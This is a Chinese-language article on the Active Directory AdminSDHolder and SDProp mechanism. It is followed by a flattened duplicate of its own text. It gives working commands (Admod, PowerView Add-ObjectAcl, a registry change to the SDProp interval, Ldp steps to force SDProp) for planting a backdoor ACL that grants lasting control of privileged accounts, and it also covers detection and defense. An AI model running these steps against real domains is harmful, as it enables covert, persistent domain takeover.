AdminSDHolder
字数 1563 2025-08-25 22:59:15

AdminSDHolder 安全机制与利用技术详解

概述

AdminSDHolder 是 Active Directory (AD) 域中一个关键的安全机制,用于保护高权限账户和组的安全设置。本文将全面介绍 AdminSDHolder 的工作原理、利用方法以及防御检测措施。

0x00 域内受保护的用户和组

在 Active Directory 中,一些高权限的用户和组被视为受保护的对象:

  • 受保护对象的权限设置和修改由自动过程完成,确保对象移动时权限保持一致
  • 不同系统版本的域控制器上受保护的用户和组不同
  • 可使用以下命令查询受保护组和用户:
Adfind.exe -f "&(objectcategory=group)(admincount=1)" -dn
Adfind.exe -f "&(objectcategory=user)(admincount=1)" -dn

1. AdminSDHolder

AdminSDHolder 对象为域内受保护的用户和组提供权限"模板":

  • LDAP 路径:CN=AdminSDHolder,CN=System,DC=<domain_component>,DC=<domain_component>
  • 默认由 Domain Admins 组拥有
  • Enterprise Admins (EA) 可以更改任何域的 AdminSDHolder 对象
  • Domain Admins 和 Administrators 组也可以进行更改
  • Administrators 或 Enterprise Admins 成员可以获取该对象的所有权

2. SDProp

SDProp 是一个关键进程:

  • 默认每 60 分钟在包含域的 PDC 模拟器 (PDCE) 的域控制器上运行
  • 比较 AdminSDHolder 对象的权限与受保护账户和组的权限
  • 如果不匹配,将受保护账户和组的权限重置为与 AdminSDHolder 对象一致

0x01 利用技术

由于 SDProp 会定期同步权限,攻击者可利用此机制持久化控制高权限账户。

1. 添加 ACL

需要具备对 AdminSDHolder 的 WriteDACL 权限。

(1) 使用 Admod 工具

.\Admod.exe -b "CN=AdminSDHolder,CN=System,DC=testad,DC=local" "SD##ntsecuritydescriptor::{GETSD}{+D=(A;;GA;;;testad\test1)}"

(2) 使用 PowerView (推荐 Dev 分支)

Import-Module .\PowerView.ps1
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName test1 -Verbose -Rights All

2. 执行 SDProp

(1) 修改默认执行时间间隔

通过修改注册表调整执行频率 (60-7200 秒):

reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 600

恢复默认值:

reg delete hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency

(2) 手动执行 SDProp

使用 Ldp.exe 工具手动触发:

  1. 启动 Ldp.exe
  2. 连接 → 连接 → 输入 PDCE 的 FQDN/IP
  3. 连接 → 绑定 → 输入有权限的凭据
  4. 浏览 → 修改

根据域控版本不同:

  • Windows Server 2008:

    • DN 字段留空
    • 编辑条目属性:FixUpInheritance
    • 值:Yes
  • Windows Server 2008 R2/2012:

    • DN 字段留空
    • 编辑条目属性:RunProtectAdminGroupsTask
    • 值:1

最后点击"运行"执行。

3. 添加特权

SDProp 执行后,受保护账户/组将获得与 AdminSDHolder 相同的 ACL,此时攻击者可以:

  • 对特权组/用户拥有完全控制 (FC) 权限
  • 添加域管组成员等操作

0x02 防御与检测

防御措施

  1. 严格控制对 AdminSDHolder 对象的修改权限
  2. 定期审计 AdminSDHolder 的 ACL
  3. 监控注册表中 AdminSDProtectFrequency 的修改

检测方法

  • 监控 5136 日志(记录目录服务对象的修改)
  • 重点关注对 CN=AdminSDHolder,CN=System 的 ACL 修改行为
  • 建立对特权组权限变更的告警机制

总结

AdminSDHolder 机制是 AD 安全的重要组成部分,同时也是攻击者常用的持久化手段。安全团队应当充分了解其工作原理,建立有效的监控和防御措施,防止攻击者利用此机制获取长期的高权限访问。

AdminSDHolder 安全机制与利用技术详解 概述 AdminSDHolder 是 Active Directory (AD) 域中一个关键的安全机制,用于保护高权限账户和组的安全设置。本文将全面介绍 AdminSDHolder 的工作原理、利用方法以及防御检测措施。 0x00 域内受保护的用户和组 在 Active Directory 中,一些高权限的用户和组被视为受保护的对象: 受保护对象的权限设置和修改由自动过程完成,确保对象移动时权限保持一致 不同系统版本的域控制器上受保护的用户和组不同 可使用以下命令查询受保护组和用户: 1. AdminSDHolder AdminSDHolder 对象为域内受保护的用户和组提供权限"模板": LDAP 路径: CN=AdminSDHolder,CN=System,DC=<domain_component>,DC=<domain_component> 默认由 Domain Admins 组拥有 Enterprise Admins (EA) 可以更改任何域的 AdminSDHolder 对象 Domain Admins 和 Administrators 组也可以进行更改 Administrators 或 Enterprise Admins 成员可以获取该对象的所有权 2. SDProp SDProp 是一个关键进程: 默认每 60 分钟在包含域的 PDC 模拟器 (PDCE) 的域控制器上运行 比较 AdminSDHolder 对象的权限与受保护账户和组的权限 如果不匹配,将受保护账户和组的权限重置为与 AdminSDHolder 对象一致 0x01 利用技术 由于 SDProp 会定期同步权限,攻击者可利用此机制持久化控制高权限账户。 1. 添加 ACL 需要具备对 AdminSDHolder 的 WriteDACL 权限。 (1) 使用 Admod 工具 (2) 使用 PowerView (推荐 Dev 分支) 2. 执行 SDProp (1) 修改默认执行时间间隔 通过修改注册表调整执行频率 (60-7200 秒): 恢复默认值: (2) 手动执行 SDProp 使用 Ldp.exe 工具手动触发: 启动 Ldp.exe 连接 → 连接 → 输入 PDCE 的 FQDN/IP 连接 → 绑定 → 输入有权限的凭据 浏览 → 修改 根据域控版本不同: Windows Server 2008 : DN 字段留空 编辑条目属性: FixUpInheritance 值: Yes Windows Server 2008 R2/2012 : DN 字段留空 编辑条目属性: RunProtectAdminGroupsTask 值: 1 最后点击"运行"执行。 3. 添加特权 SDProp 执行后,受保护账户/组将获得与 AdminSDHolder 相同的 ACL,此时攻击者可以: 对特权组/用户拥有完全控制 (FC) 权限 添加域管组成员等操作 0x02 防御与检测 防御措施 严格控制对 AdminSDHolder 对象的修改权限 定期审计 AdminSDHolder 的 ACL 监控注册表中 AdminSDProtectFrequency 的修改 检测方法 监控 5136 日志(记录目录服务对象的修改) 重点关注对 CN=AdminSDHolder,CN=System 的 ACL 修改行为 建立对特权组权限变更的告警机制 总结 AdminSDHolder 机制是 AD 安全的重要组成部分,同时也是攻击者常用的持久化手段。安全团队应当充分了解其工作原理,建立有效的监控和防御措施,防止攻击者利用此机制获取长期的高权限访问。